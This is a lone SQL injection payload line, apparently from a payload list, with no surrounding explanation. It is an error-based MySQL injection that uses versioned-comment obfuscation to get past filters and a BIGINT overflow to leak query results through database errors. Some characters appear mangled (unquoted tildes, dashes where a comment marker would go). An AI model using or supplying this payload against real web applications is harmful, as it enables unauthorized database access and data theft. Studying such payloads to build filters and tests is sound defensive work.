1) WHERE 2727=2727/*!50000AND*/(/*!50000SELECT*/2*(IF((/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/(~,(/*!50000SELECT*/(ELT(2139=2139,1))),~,x))s),/**/8446744073709551610,/**/8446744073709551610)))– – 1